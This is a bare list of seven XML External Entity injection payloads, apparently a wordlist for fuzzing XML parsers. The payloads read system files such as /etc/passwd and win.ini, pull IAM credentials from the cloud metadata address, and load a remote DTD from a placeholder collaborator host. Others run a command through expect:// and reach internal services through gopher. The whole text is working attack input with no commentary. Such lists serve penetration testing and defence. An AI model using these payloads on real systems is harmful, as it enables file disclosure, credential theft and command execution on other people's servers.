<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///etc/passwd">]><root>&test;</root>
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///c:/windows/win.ini">]><root>&test;</root>
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">]><root>&test;</root>
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://COLLABORATOR/xxe.dtd">%remote;]><root/>
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]><root>&test;</root>
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "expect://id">]><root>&test;</root>
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "gopher://localhost:8080/_GET / HTTP/1.0">]><root>&test;</root>